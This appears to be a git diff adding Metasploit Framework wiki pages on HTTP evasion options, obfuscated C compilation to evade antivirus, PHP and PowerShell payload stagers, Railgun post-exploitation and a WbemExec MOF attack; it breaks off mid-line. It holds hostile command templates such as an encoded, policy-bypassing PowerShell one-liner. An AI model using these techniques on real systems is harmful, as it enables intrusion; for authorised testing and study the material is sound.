Options + +Rex::Proto::Http::Client also comes with its own collection of evasion options. You can set them either when you're asking Rex::Proto::Http::ClientRequest to make the HTTP request, or you can set them with a #set_config method. The main difference is that if you are using #set_config, you should make these options user-configurable. + +| Option | Data type | Default | Known configurable option | +| ------ | --------- | ------- | ------------- | +| encode_params | Boolean | true | N/A | +| encode | Boolean | false | N/A | +| uri_encode_mode | String | hex-normal | HTTP::uri_encode_mode | +| uri_encode_count | Fixnum | 1 | N/A | +| uri_full_url | Boolean | false | HTTP::uri_full_url | +| pad_method_uri_count | Fixnum | 1 | HTTP::pad_method_uri_count | +| pad_uri_version_count | Fixnum | 1 | HTTP::pad_uri_version_count | +| pad_method_uri_type | String | space | HTTP::pad_method_uri_type | +| pad_uri_version_type | String | space | HTTP::pad_uri_version_type | +| method_random_valid | Boolean | false | HTTP::method_random_valid | +| method_random_invalid | Boolean | false | HTTP::method_random_invalid | +| method_random_case | Boolean | false | HTTP::method_random_case | +| version_random_valid | Boolean | false | N/A | +| version_random_invalid| Boolean | false | N/A | +| version_random_case | Boolean | false | N/A | +| uri_dir_self_reference | Boolean | false | HTTP::uri_dir_self_reference | +| uri_dir_fake_relative | Boolean | false | HTTP::uri_dir_fake_relative | +| uri_use_backslashes | Boolean | false | HTTP::uri_use_backslashes | +| pad_fake_headers | Boolean | pad_fake_headers| HTTP::pad_fake_headers | +| pad_fake_headers_count | Fixnum | 16 | HTTP::pad_fake_headers_count | +| pad_get_params | Boolean | false | HTTP::pad_get_params | +| pad_get_params_count | Boolean | 8 | HTTP::pad_get_params_count | +| pad_post_params | Boolean | false | HTTP::pad_post_params | +| pad_post_params_count | Fixnum | 8 | HTTP::pad_post_params_count | +| uri_fake_end | Boolean | false | HTTP::uri_fake_end | +| uri_fake_params_start | Boolean | false | HTTP::uri_fake_params_start | +| header_folding | Boolean | false | HTTP::header_folding | +| chunked_size | Fixnum | 0 | N/A | + +### NTLM Options + +HTTP authentication is automatic in Rex::Proto::Http::Client, and when it comes to the NTLM provider, it gets its own options. You MUST use the #set_config method to set them: + +| Option | Data type | Default | Known configurable option | +| ------ | --------- | ------- | ------------- | +| usentlm2_session | Boolean | true | NTLM::UseNTLM2_session | +| use_ntlmv2 | Boolean | true | NTLM::UseNTLMv2 | +| send_lm | Boolean | true | NTLM::SendLM | +| send_ntlm | Boolean | true | NTLM::SendNTLM | +| SendSPN | Boolean | true | NTLM::SendSPN | +| UseLMKey | Boolean | false | NTLM::UseLMKey | +| domain | String | WORKSTATION | DOMAIN | +| DigestAuthIIS | Boolean | true | DigestAuthIIS | + +Note: "Known configuration options" means there is a datastore option for it from HttpClient. If you can't use HttpClient, then you will have to consider register them yourself. + +## URI Parsing + +Rex::Proto::Http::Client actually does not support URI parsing, so for URI format validation and normalization, you are on your own, and you should probably do it. + +For URI format validation, we recommend using Ruby's URI module. You can use HttpClient's #[target_uri](https://github.com/rapid7/metasploit-framework/blob/a65ee6cf30e6f671985876f83457cfcbea008e49/lib/msf/core/exploit/http/client.rb#L335) method as an example. + +For URI normalization, we recommend HttpClient's #[normalize_uri](https://github.com/rapid7/metasploit-framework/blob/a65ee6cf30e6f671985876f83457cfcbea008e49/lib/msf/core/exploit/http/client.rb#L360) method as an example. + +## Full Example + +```ruby +cli = Rex::Proto::Http::Client.new(rhost, rport, {}, ssl, ssl_version, proxies, user, pass) +cli.set_config( + 'vhost' => vhost, + 'agent' => datastore['UserAgent'], + 'uri_encode_mode' => datastore['HTTP::uri_encode_mode'], + 'uri_full_url' => datastore['HTTP::uri_full_url'], + 'pad_method_uri_count' => datastore['HTTP::pad_method_uri_count'], + 'pad_uri_version_count' => datastore['HTTP::pad_uri_version_count'], + 'pad_method_uri_type' => datastore['HTTP::pad_method_uri_type'], + 'pad_uri_version_type' => datastore['HTTP::pad_uri_version_type'], + 'method_random_valid' => datastore['HTTP::method_random_valid'], + 'method_random_invalid' => datastore['HTTP::method_random_invalid'], + 'method_random_case' => datastore['HTTP::method_random_case'], + 'uri_dir_self_reference' => datastore['HTTP::uri_dir_self_reference'], + 'uri_dir_fake_relative' => datastore['HTTP::uri_dir_fake_relative'], + 'uri_use_backslashes' => datastore['HTTP::uri_use_backslashes'], + 'pad_fake_headers' => datastore['HTTP::pad_fake_headers'], + 'pad_fake_headers_count' => datastore['HTTP::pad_fake_headers_count'], + 'pad_get_params' => datastore['HTTP::pad_get_params'], + 'pad_get_params_count' => datastore['HTTP::pad_get_params_count'], + 'pad_post_params' => datastore['HTTP::pad_post_params'], + 'pad_post_params_count' => datastore['HTTP::pad_post_params_count'], + 'uri_fake_end' => datastore['HTTP::uri_fake_end'], + 'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'], + 'header_folding' => datastore['HTTP::header_folding'], + 'usentlm2_session' => datastore['NTLM::UseNTLM2_session'], + 'use_ntlmv2' => datastore['NTLM::UseNTLMv2'], + 'send_lm' => datastore['NTLM::SendLM'], + 'send_ntlm' => datastore['NTLM::SendNTLM'], + 'SendSPN' => datastore['NTLM::SendSPN'], + 'UseLMKey' => datastore['NTLM::UseLMKey'], + 'domain' => datastore['DOMAIN'], + 'DigestAuthIIS' => datastore['DigestAuthIIS'] +) +cli.connect +req = cli.request_cgi({'uri'=>'/'}) +res = cli.send_recv(req) +cli.close +``` \ No newline at end of file diff --git a/metasploit-framework.wiki/How-to-use-Metasploit-Framework-Compiler-Windows-to-compile-C-code.md b/metasploit-framework.wiki/How-to-use-Metasploit-Framework-Compiler-Windows-to-compile-C-code.md new file mode 100644 index 000000000000..98d0c1ffbc26 --- /dev/null +++ b/metasploit-framework.wiki/How-to-use-Metasploit-Framework-Compiler-Windows-to-compile-C-code.md @@ -0,0 +1,122 @@ + +## On this page + +* [EXE Example](#exe-example) +* [DLL Example](#dll-example) +* [Printf()](#printf) +* [Custom Headers](#custom-headers) +* [Code Randomization](#code-randomization) + +```Metasploit::Framework::Compiler::Windows``` is a wrapper of [Metasm](https://github.com/jjyg/metasm) specifically for compiling C code for the Windows platform. The purpose of the wrapper is to support default headers, such as `stdio.h`, `stdio.h`, `String.h`, `Windows.h`, or some other important headers that you might use while writing in C. + +## EXE example + +```ruby +c_template = %Q|#include + +int main(void) { + LPCTSTR lpMessage = "Hello World"; + LPCTSTR lpTitle = "Hi"; + MessageBox(NULL, lpMessage, lpTitle, MB_OK); + return 0; +}| + +require 'metasploit/framework/compiler/windows' + + +## Save as an exe varibale +exe = Metasploit::Framework::Compiler::Windows.compile_c(c_template) + +## Save the binary as a file +Metasploit::Framework::Compiler::Windows.compile_c_to_file('/tmp/test.exe', c_template) +``` + +## DLL example + +```ruby +c_template = %Q|#include + +BOOL APIENTRY DllMain __attribute__((export))(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) { + switch (dwReason) { + case DLL_PROCESS_ATTACH: + MessageBox(NULL, "Hello World", "Hello", MB_OK); + break; + case DLL_THREAD_ATTACH: + break; + case DLL_THREAD_DETACH: + break; + case DLL_PROCESS_DETACH: + break; + } + + return TRUE; +} + +// This will be a function in the export table +int Msg __attribute__((export))(void) { + MessageBox(NULL, "Hello World", "Hello", MB_OK); + return 0; +} +| + +require 'metasploit/framework/compiler/windows' +dll = Metasploit::Framework::Compiler::Windows.compile_c(c_template, :dll) +``` + +To load a DLL, you can use the LoadLibrary API: + +```c +#include +#include + +int main(void) { + HMODULE hMod = LoadLibrary("hello_world.dll"); + if (hMod) { + printf("hello_world.dll loaded\n"); + } else { + printf("Unable to load hello_world.dll\n"); + } +} +``` + +Or call the function in export with rundll32: + +``` +rundll32 hell_world.dll,Msg +``` + +## Printf() + +Methods like `printf()` won't actually print anything, because it's not connected up to stdout. If you want to use `printf()` for debugging purposes, consider using `OutputDebugString`, or `MessageBox`. + +## Custom Headers + +Currently, the Metasm wrapper does not support custom headers from an arbitrary location. To work around this, you can place your headers in `data/headers/windows`, and then add that file name in `lib/metasploit/framework/compiler/headers/windows.h`. + +## Code Randomization + +`Metasploit::Framework::Compiler` supports obfuscation that randomizes code at the source code level, and then compile. There are two methods we can use: + +* `Metasploit::Framework::Compiler::Windows.compile_random_c` +* `Metasploit::Framework::Compiler::Windows.compile_random_c_to_file` + +Metasploit::Framework::Compiler::Windows.compile_random_c_to_file example: + +```ruby +require 'msf/core' +require 'metasploit/framework/compiler/windows' + +c_source_code = %Q| +#include + +int main() { + const char* content = "Hello World"; + const char* title = "Hi"; + MessageBox(0, content, title, MB_OK); + return 0; +}| + +outfile = "/tmp/helloworld.exe" +weight = 70 # This value is used to determine how random the code gets. +Metasploit::Framework::Compiler::Windows.compile_random_c_to_file(outfile, c_source_code, weight: weight) +``` \ No newline at end of file diff --git a/metasploit-framework.wiki/How-to-use-Metasploit-Framework-Obfuscation-CRandomizer.md b/metasploit-framework.wiki/How-to-use-Metasploit-Framework-Obfuscation-CRandomizer.md new file mode 100644 index 000000000000..a3214a19dbb2 --- /dev/null +++ b/metasploit-framework.wiki/How-to-use-Metasploit-Framework-Obfuscation-CRandomizer.md @@ -0,0 +1,99 @@ +# How to use Metasploit::Framework::Obfuscation::CRandomizer + +## What is CRandomizer + +CRandomizer is an obfuscation feature in Metasploit Framework that allows you to randomize C code. It is done by injecting random statements such as native API calls, custom fake function calls, or other routines, etc. The CRandomizer is also supported by Metasploit Framework's code compiling API, which allows you to build a custom application that is unique (in terms of checksums), also harder to reverse-engineer. + +The randomness of the modification is based on a weight, an arbitrary number from 0 - 100. The higher the number, the more random the code gets. + +## Components + +CRandomizer relies on Metasm to be able to parse C code. The following components are built to parse and modify the source code. + +## Code Factory + +Also known as `Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory`. + +The `CodeFactory` module is used to make the random stubs that will get injected later in the source code. Currently, the things this class is capable of making include small stubs like if statements, a switch, fake functions, and Windows API calls, etc. Each stub tends to be small, and considered as benign by most AVs. + +Every class in CodeFactory, except for Base, FakeFunction, and FakeFunctionCollection, is a stub candidate that gets randomly selected and used in the source code. + +If a stub requires a native API call, then the class can specify `@dep` to set that dependency. If the source code does not support the API call, then the next stub candidate is used (or until one is found). + +For example, the `CRandomizer::CodeFactory::OutputDebugString` class is used to generate a fake OutputDebugString call, and the dependency is set as `['OutputDebugString']`. If the source code includes the Windows.h header, the CRandomizer knows it is okay to inject OutputDebugString. If not, CRandomizer will not use it. + +## Modifier + +Also known as `Metasploit::Framework::Obfuscation::CRandomizer::Modifier`. + +The Modifier class decides how something should be modified, and actually modifies the source code, for example: a function, different if statements, loops, nested blocks, etc. + +While the modifier walks through the source, it will randomly inject extra code (provided by the CodeFactory class) at each statement, until there are no more functions to modify. + +## Parser + +Also known as `Metasploit::Framework::Obfuscation::CRandomizer::Parser`. + +The main purpose of the Parser class is to convert the source code into a parsable format using Metasm, and then pass the functions to the Modifier class to process. + +## Utility + +The Utility class provides quick-to-use methods that any CRandomizer classes could use. + +# Code Example + +## Creating a new stub + +First, add a new file under the code_factory with an arbitrary file name. For example: hello.rb. In this example, let's create a new stub that will printf() "Hello World". Your stub should be written as a class under the CodeFactory namespace, and make sure to inherit the Base class. Like this: + +```ruby +require 'metasploit/framework/obfuscation/crandomizer/code_factory/base' + +module Metasploit + module Framework + module Obfuscation + module CRandomizer + module CodeFactory + + class Printf < Base + def initialize + super + @dep = ['printf'] + end + + def stub + %Q| + int printf(const char*); + void stub() { + printf("Hello World"); + }| + end + end + + end + end + end + end +end +``` + +Notice a couple of things: + +* Every class should have its own `stub` method. And this `stub` method should return a string that contains the code you wish to inject. In addition, your code should be written as a function so that Metasm knows how to pick it up, hence the printf is in a `void stub()` function. +* If your stub requires a native API (in this case, we are using `printf`), then you must add this function name in the `@dep` instance variable, which is an array. +* Please keep in mind that your stub should remain simple and small, and not unique. For example, avoid: + * Allocate a huge chunk of memory + * Avoid marking or allocating executable memory + * Loops + * Load referenced section, resource, or .data + * Anti-debugging functions from the Windows API + * Lots of function calls + * Unique strings + * APIs that access the Windows registry or the file system + * XOR + * Shellcode + * Any other suspicious code patterns that are unique to malware. + +## Randomizing source code + +Please refer to tools/exploit/random_compile_c.rb for example. diff --git a/metasploit-framework.wiki/How-to-use-Msf-Auxiliary-AuthBrute-to-write-a-bruteforcer.md b/metasploit-framework.wiki/How-to-use-Msf-Auxiliary-AuthBrute-to-write-a-bruteforcer.md new file mode 100644 index 000000000000..4ccd7a2ea856 --- /dev/null +++ b/metasploit-framework.wiki/How-to-use-Msf-Auxiliary-AuthBrute-to-write-a-bruteforcer.md @@ -0,0 +1,30 @@ +# How to use Msf::Auxiliary::AuthBrute to write a bruteforcer +The ```Msf::Auxiliary::AuthBrute``` mixin should no longer be used to write a login module, you should try our [LoginScanner API](https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners) instead. However, some of the datastore options are still needed, so let's go over them right quick. + +### Regular options + +* **USERNAME** - (String) A specific username to authenticate as. +* **PASSWORD** - (String) A specific password to authenticate with. +* **USER_FILE** - (String) File containing usernames, one per line. +* **PASS_FILE** - (String) File containing passwords, one per line. +* **USERPASS_FILE** - (String) File containing users and passwords separated by space, one pair per line. +* **BRUTEFORCE_SPEED** - (Integer) How fast to bruteforce, from 0 to 5. +* **VERBOSE** - (Boolean) Whether to print output for all attempts. +* **BLANK_PASSWORDS** - (Boolean) Try blank passwords for all users. +* **USER_AS_PASS** - (Boolean) Try the username as the password for all users. +* **DB_ALL_CREDS** - (Boolean) Try each user/password couple stored in the current database. +* **DB_ALL_USERS** - (Boolean) Add all users in the current database to the list. +* **STOP_ON_SUCCESS** - (Boolean) Stop guessing when a credential works for a host. + +### Advanced options + +* **REMOVE_USER_FILE** - (Boolean) Automatically delete the USER_FILE on module completion. +* **REMOVE_PASS_FILE** - (Boolean) Automatically delete the PASS_FILE on module completion. +* **REMOVE_USERPASS_FILE** - (Boolean) Automatically delete the USERPASS_FILE on module completion. +* **MaxGuessesPerService** - (Integer) Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used. +* **MaxMinutesPerService** - (Integer) Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used. +* **MaxGuessesPerUser** - (Integer) Maximum guesses for a particular username for the service instance. Note that users are considered unique among different services, so a user at 10.1.1.1:22 is different from one at 10.2.2.2:22, and both will be tried up to the MaxGuessesPerUser limit. If set to zero or a non-number, this option will not be used. + +### Reference + +- diff --git a/metasploit-framework.wiki/How-to-use-PhpEXE-to-exploit-an-arbitrary-file-upload-bug.md b/metasploit-framework.wiki/How-to-use-PhpEXE-to-exploit-an-arbitrary-file-upload-bug.md new file mode 100644 index 000000000000..9ce1afad4d9c --- /dev/null +++ b/metasploit-framework.wiki/How-to-use-PhpEXE-to-exploit-an-arbitrary-file-upload-bug.md @@ -0,0 +1,39 @@ +Arbitrary file upload is surprisingly common among web applications, which can be abused to upload malicious files and then compromise the server. Usually, the attacker will select a payload based on whatever server-side programming language is supported. So if the vulnerable app is in PHP, then clearly PHP is supported, therefore an easy choice would be using a PHP payload such as Metasploit's PHP meterpreter. However, the PHP meterpreter does not share the same performance as, say, a Windows meterpreter. So in reality, what happens is you will probably want to upgrade to a better shell, which involves extra manual work during the process. So why limit your payload options? For this type of scenario, you should use the ```PhpEXE``` mixin. It serves as a payload stager in PHP that will write the final malicious executable onto the remote file system, and then clear itself after use, so it leaves no traces. + +### Requirements + +To use the ```PhpEXE``` mixin, some typical exploitable requirements should be met: + +* You must find a writeable location on the web server. +* The same writeable location should also be readable with a HTTP request. + +Note: For an arbitrary file upload bug, there is usually a directory that contains uploaded files, and is readable. If the bug is due to a directory traversal, then a temp folder (either from the OS or the web app) would be your typical choice. + +### Usage + +First include the mixin under the scope of your ```MetasploitModule``` class like the following: + +```ruby +include Msf::Exploit::PhpEXE +``` + +Generate the payload (with the PHP stager) with ```get_write_exec_payload``` + +```ruby +p = get_write_exec_payload +``` + +If you're working on a Linux target, then you can set ```unlink_self``` to true, which will automatically clear the executable: + +```ruby +p = get_write_exec_payload(:unlink_self=>true) +``` + +On Windows, you probably cannot clear the executable because it will probably still be in use. If it's not possible to automatically clean up malicious files, you should always warn the user about where they are, so they can do it manually later during the penetration test. + +At this point you can upload the payload generated by ```get_write_exec_payload```, and then call it by using a GET request. If you do not know how to send a GET request, please refer to the following article: +[[How to Send an HTTP Request Using HttpClient]] + +### Reference + + diff --git a/metasploit-framework.wiki/How-to-use-Powershell-in-an-exploit.md b/metasploit-framework.wiki/How-to-use-Powershell-in-an-exploit.md new file mode 100644 index 000000000000..51c92a105901 --- /dev/null +++ b/metasploit-framework.wiki/How-to-use-Powershell-in-an-exploit.md @@ -0,0 +1,58 @@ +PowerShell is a scripting language developed by Microsoft. It provides API access to almost everything in a Windows platform, less detectable by countermeasures, easy to learn, therefore it is incredibly powerful for penetration testing during post exploitation, or exploit development for payload execution. Take Metasploit's [windows/smb/psexec_psh.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec_psh.rb) module for example: it mimics the psexec utility from SysInternals, the payload is compressed and executed from the command line, which allows it to be somewhat stealthy against antivirus. There's only less than 30 lines of code in psexec_psh.rb (excluding the metadata that describes what the module is about), because most of the work is done by the Powershell mixin, nothing is easier than that. + +The command line will automatically attempt to detect the architecture (x86 or x86_64) that it is being run in, as well as the payload architecture that it contains. If there is a mismatch it will spawn the correct PowerShell architecture to inject the payload into, so there is no need to worry about the architecture of the target system. + +### Requirements + +To use the PowerShell mixin, make sure you meet these requirements: + +* The target machine supports PowerShell. Vista or newer should support it. +* You must have permission to execute powershell.exe +* You must be able to supply system command arguments. +* You must set up a command execution type attack in order to execute powershell.exe + +### Usage + +* To add PowerShell to your module, first you need to require it: + +```ruby +require 'msf/core/exploit/powershell' +``` + +* And then include the mixin within the scope of the ```Metasploit3``` class (or maybe ```Metasploit4``` for some) + +```ruby +include Msf::Exploit::Powershell +``` + +* Use the ```cmd_psh_payload``` method to generate the PowerShell payload. + +```ruby +cmd_psh_payload(payload.encoded, payload_instance.arch.first) +``` + +The actual output of ```cmd_psh_payload``` is a system command, which would look like the following format (as a one-liner): + +``` +%COMSPEC% /B /C start powershell.exe -Command $si = New-Object +System.Diagnostics.ProcessStartInfo;$si.FileName = 'powershell.exe'; +$si.Arguments = ' -EncodedCommand [BASE64 PAYLOAD] '; +$si.UseShellExecute = $false; +$si.RedirectStandardOutput = $true;$si.WindowStyle = 'Hidden'; +$si.CreateNoWindow = $True; +$p = [System.Diagnostics.Process]::Start($si); +``` + +A number of options can be used to adjust the final command depending on the circumstances of the exploit. By default the script is compressed but no encoding takes places of the wrapper. This produces a small command of around ~2000 characters (depending on the payload). + +Of these `encode_final_payload` is the most noteworthy as it will Base64 encode the full payload giving a very simple command with very few bad characters. However, the command length will increase as a result. Combining this with `remove_comspec` means the payload would very simply be: + +`powershell.exe -nop -ep bypass -e AAAABBBBCCCCDDDD.....==` + +Check out the other advanced options in the API documentation below. + +### References + +- +- +- diff --git a/metasploit-framework.wiki/How-to-use-Railgun-for-Windows-post-exploitation.md b/metasploit-framework.wiki/How-to-use-Railgun-for-Windows-post-exploitation.md new file mode 100644 index 000000000000..bfbc2dcbde29 --- /dev/null +++ b/metasploit-framework.wiki/How-to-use-Railgun-for-Windows-post-exploitation.md @@ -0,0 +1,146 @@ +Railgun is a very powerful post exploitation feature exclusive to Windows Meterpreter. It allows you to have complete control of your target machine's Windows API, or you can use whatever DLL you find and do even more creative stuff with it. For example: say you have a meterpreter session on a Windows target. You have your eyes on a particular application that you believe stores the user's password, but it is encrypted and there are no tools out there for decryption. With Railgun, what you can do is you can either tap into the process and grep for any sensitive information found in memory, or you can look for the program's DLL that's responsible for the decryption, call it, and let it decrypt it for you. If you're a penetration tester, obviously post exploitation is an important skill to have, but if you don't know Railgun, you are missing out a lot. + +### Defining a DLL and its functions + +The Windows API is obviously quite large, so by default Railgun only comes with a handful of pre-defined DLLs and functions that are commonly used for building a Windows program. These built-in DLLs are: kernel32, ntdll, user32, ws2_32, iphlpapi, advapi32, shell32, netapi32, crypt32, wlanapi, wldap32, version. The same list of built-in DLLs can also be retrieved by using the ```known_dll_names``` method. + +All DLL definitions are found in the "[def](https://github.com/rapid7/metasploit-framework/tree/master/lib/rex/post/meterpreter/extensions/stdapi/railgun/def)" directory, where they are defined as classes. The following template should demonstrate how a DLL is actually defined: + +```ruby +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Railgun +module Def + +class Def_somedll + + def self.create_dll(dll_path = 'somedll') + dll = DLL.new(dll_path, ApiConstants.manager) + + # 1st argument = Name of the function + # 2nd argument = Return value's data type + # 3rd argument = An array of parameters + dll.add_function('SomeFunction', 'DWORD',[ + ["DWORD","hwnd","in"] + ]) + + return dll + end + +end + +end; end; end; end; end; end; end +``` + +In function definitions, Railgun supports these datatypes: VOID, BOOL, DWORD, WORD, BYTE, LPVOID, HANDLE, PDWORD, PWCHAR, PCHAR, PBLOB. + +There are four parameter/buffer directions: in, out, inout, and return. When you pass a value to an "in" parameter, Railgun handles the memory management. For example, ```MessageBoxA``` has a "in" parameter named ```lpText```, and is of type PCHAR. You can simply pass a Ruby string to it, and Railgun handles the rest, it's all pretty straight forward. + +An "out" parameter will always be of a pointer datatype. Basically you tell Railgun how many bytes to allocate for the parameter, it allocates memory, provides a pointer to it when calling the function, and then it reads that region of memory that the function wrote, converts that to a Ruby object and adds it to the return hash. + +An "inout" parameter serves as an input to the called function, but can be potentially modified by it. You can inspect the return hash for the modified value like an "out" parameter. + +A quick way to define a new function at runtime can be done like the following example: + +```ruby +client.railgun.add_function('user32', 'MessageBoxA', 'DWORD',[ + ["DWORD","hWnd","in"], + ["PCHAR","lpText","in"], + ["PCHAR","lpCaption","in"], + ["DWORD","uType","in"] + ]) +``` + +However, if this function will most likely be used more than once, or it's part of the Windows API, then you should put it in the library. + +### Usage + +The best way to try Railgun is with irb in a Windows Meterpreter prompt. Here's an example of how to get there: + +``` +$ msfconsole -q +msf > use exploit/multi/handler +msf exploit(handler) > run + +[*] Started reverse handler on 192.168.1.64:4444 +[*] Starting the payload handler... +[*] Sending stage (769536 bytes) to 192.168.1.106 +[*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.106:55148) at 2014-07-30 19:49:35 -0500 + +meterpreter > irb +[*] Starting IRB shell +[*] The 'client' variable holds the meterpreter client + +>> +``` + +Note that when you're running a post module or in irb, you always have a ```client``` or ```session``` object to work with, both point to same thing, which in this case is ```Msf::Sessions::Meterpreter_x86_Win```. This Meterpreter session object gives you API access to the target machine, including the Railgun object ```Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun```. Here's how you simply access it: + +```ruby +session.railgun +``` + +If you run the above in irb, you will see that it returns information about all the DLLs, functions, constants, etc, except it's a little unfriendly to read because there's so much data. Fortunately, there are some handy tricks to help us to figure things out. For example, like we mentioned before, if you're not sure what DLLs are loaded, you can call the ```known_dll_names``` method: + +``` +>> session.railgun.known_dll_names +=> ["kernel32", "ntdll", "user32", "ws2_32", "iphlpapi", "advapi32", "shell32", "netapi32", "crypt32", "wlanapi", "wldap32", "version"] +``` + +Now, say we're interested in user32 and we want to find all the available functions (as well as return value's data type, parameters), another handy trick is this: + +```ruby +session.railgun.user32.functions.each_pair {|n, v| puts "Function name: #{n}, Returns: #{v.return_type}, Params: #{v.params}"} +``` + +Note that if you happen to call an invalid or unsupported Windows function, a ```RuntimeError``` will raise, and the error message also shows a list of available functions. + +To call a Windows API function, here's how: + +``` +>> session.railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK") +=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>1} +``` + +As you can see this API call returns a hash. One habit we have seen is that sometimes people don't like to check ```GetLastError```, ```ErrorMessage```, and/or the ```return``` value, they kind of just assume it works. This is a bad programming habit, and is not recommended. If you always assume something works, and execute the next API call, you risk having unexpected results (worst case scenario: losing the Meterpreter session). + +### Memory Reading and Writing + +The ```Railgun``` class also has two very useful methods that you will probably use: ```memread``` and ```memwrite```. The names are pretty self-explanatory: You read a block of memory, or you write to a region of memory. We'll demonstrate this with a new block of memory in the payload itself: + +``` +>> p = session.sys.process.open(session.sys.process.getpid, PROCESS_ALL_ACCESS) +=> #<#:0x007fe2c5a258a0 @client=#, @handle=448, @channel=nil, @pid=2268, @aliases={"image"=>#:0x007fe2c5a258a0 ...>>, "io"=>#:0x007fe2c5a258a0 ...>>, "memory"=>#:0x007fe2c5a258a0 ...>>, "thread"=>#:0x007fe2c5a258a0 ...>>}> +>> p.memory.allocate(1024) +=> 5898240 +``` + +As you can see, the new allocation is at address 5898240 (or 0x005A0000 in hex). Let's first write four bytes to it: + +``` +>> session.railgun.memwrite(5898240, "AAAA", 4) +=> true +``` + +```memwrite``` returns true, which means successful. Now let's read 4 bytes from 0x005A0000: + +``` +>> session.railgun.memread(5898240, 4) +=> "AAAA" +``` + +Be aware that if you supply a bad pointer, you can cause an access violation and crash Meterpreter. + +### References: + +- +- +- +- +- +- +- diff --git a/metasploit-framework.wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows.md b/metasploit-framework.wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows.md new file mode 100644 index 000000000000..1bc89b74ce59 --- /dev/null +++ b/metasploit-framework.wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows.md @@ -0,0 +1,51 @@ +Windows Management Instrumentation (WMI) is Microsoft's implementation of Web-Based Enterprise Management (WBEM), which uses Managed Object Format (MOF) to create Common Information Model (CIM) classes. The security community was actually unfamiliar with the evilness of this technology until the birth of Stuxnet, which used a MOF file to exploit a vulnerability allowing the attacker to create files via a fake Printer Spooler service. This technique was later reverse-engineered and demonstrated in Metasploit's [ms10_061_spoolss.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/ms10_061_spoolss.rb) module, and that significantly changed how we approach write-privilege attacks. Generally speaking, if you find yourself being able to write to system32, you can most likely take advantage of this technique. + +### Requirements + +To to able to use the ```WBemExec``` mixin, you must meet these requirements: + +* Write permission to C:\Windows\System32\ +* Write permission to C:\Windows\System32\Wbem\ +* The target must NOT be newer than Windows Vista (so mostly good for XP, Win 2003, or older). This is more of a limitation from the API, not the technique. Newer Windows operating systems need the MOF file to be pre-compiled first. + +### Usage + +First, include the ```WbemExec``` mixin under the scope of your ```MetasploitModule``` class. You will also need the ```EXE``` mixin to generate an executable: + +```ruby +include Msf::Exploit::EXE +include Msf::Exploit::WbemExec +``` + +Next, generate a payload name and the executable: + +```ruby +payload_name = "evil.exe" +exe = generate_payload_exe +``` + +And then generate the mof file using the ```generate_mof``` method. The first argument should be the name of the mof file, and the second argument is the payload name: + +```ruby +mof_name = "evil.mof" +mof = generate_mof(mof_name, payload_name) +``` + +Now you're ready to write/upload your files to the target machine. Always make sure you upload the payload executable first to ```C:\Windows\System32\```. + +```ruby +upload_file_to_system32(payload_name, exe) # Write your own upload method +``` + +And then now you can upload the mof file to ```C:\Windows\System32\wbem\```: + +```ruby +upload_mof(mof_name, mof) # Write your own upload method +``` + +Once the mof file is uploaded, the Windows Management Service should pick that up and execute it, which will end up executing your payload in system32. Also, the mof file will automatically be moved out of the mof directory after use. + +### References + +- +- diff --git a/metasploit-framework.wiki/How-to-use-a-Metasploit-module-appropriately.md b/metasploit-framework.wiki/How-to-use-a-Metasploit-module-appropriately.md new file mode 100644 index 000000000000..ba38fa950203 --- /dev/null +++ b/metasploit-framework.wiki/How-to-use-a-Metasploit-module-appropriately.md @@ -0,0 +1,93 @@ +As an user, one thing we love Metasploit the most is it allows something really technically difficult to understand or engineer into something really easy to use, literally within a few clicks away to make you look like [Neo](http://en.wikipedia.org/wiki/Neo_(The_Matrix)) from the Matrix. It makes hacking super easy. However, if you're new to Metasploit, know this: [Nobody makes their first jump](https://www.youtube.com/watch?v=3vlzKaH4mpw). You are expected to make mistakes, sometimes small, sometimes catastrophic... hopefully not. You're very likely to fall on your face with your first exploit, just like Neo. Obviously, to become The One you must learn to use these modules appropriately, and we will teach you how. + +In this documentation, understand that we require you no exploit development knowledge. Some programming knowledge would be nice, of course. The whole point is that there is actually "homework" before using an exploit, and you should always do your homework. + +## Loading a Metasploit module + +Each Metasploit module comes with some metadata that explains what it's about, and to see that you must load it first. An example: + +``` +msf > use exploit/windows/smb/ms08_067_netapi +``` + +## Read the module description and references + +This may sound surprising, but sometimes we get asked questions that are already explained in the module. You should always look for the following in the description or the references it provides before deciding whether it's appropriate to use the exploit or not: + +* **What products and versions are vulnerable**: This is the most basic thing you should know about a vulnerability. + +* **What type of vulnerability and how it works**: Basically, you are learning the exploit's side-effects. For example, if you're exploiting a memory corruption, if it fails due to whatever reason, you may crash the service. Even if it doesn't, when you're done with the shell and type "exit", it's still possible to crash it too. High level bugs are generally safer, but not 100%. For example, maybe it needs to modify a config file or install something that can cause the application to be broken, and may become permanent. + +* **Which ones have been tested**: When a module is developed, usually the exploit isn't tested against every single setup if there are too many. Usually the developers will just try to test whatever they can get their hands on. So if your target isn't mentioned here, keep in mind there is no guarantee it's going to work 100%. The safest thing to do is to actually recreate the environment your target has, and test the exploit before hitting the real thing. + +* **What conditions the server must meet in order to be exploitable**: Quite often, a vulnerability requires multiple conditions to be exploitable. In some cases you can rely on the exploit's [check command](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-check%28%29-method), because when Metasploit flags something as vulnerable, it actually exploited the bug. For browser exploits using the BrowserExploitServer mixin, it will also check exploitable requirements before loading the exploit. But automation isn't always there, so you should try to find this information before running that "exploit" command. Sometimes it's just common sense, really. For example: a web application's file upload feature might be abused to upload a web-based backdoor, and stuff like that usually requires the upload folder to be accessible for the user. If your target doesn't meet the requirement(s), there is no point to try. + +You can use the info command to see the module's description: + +``` +msf 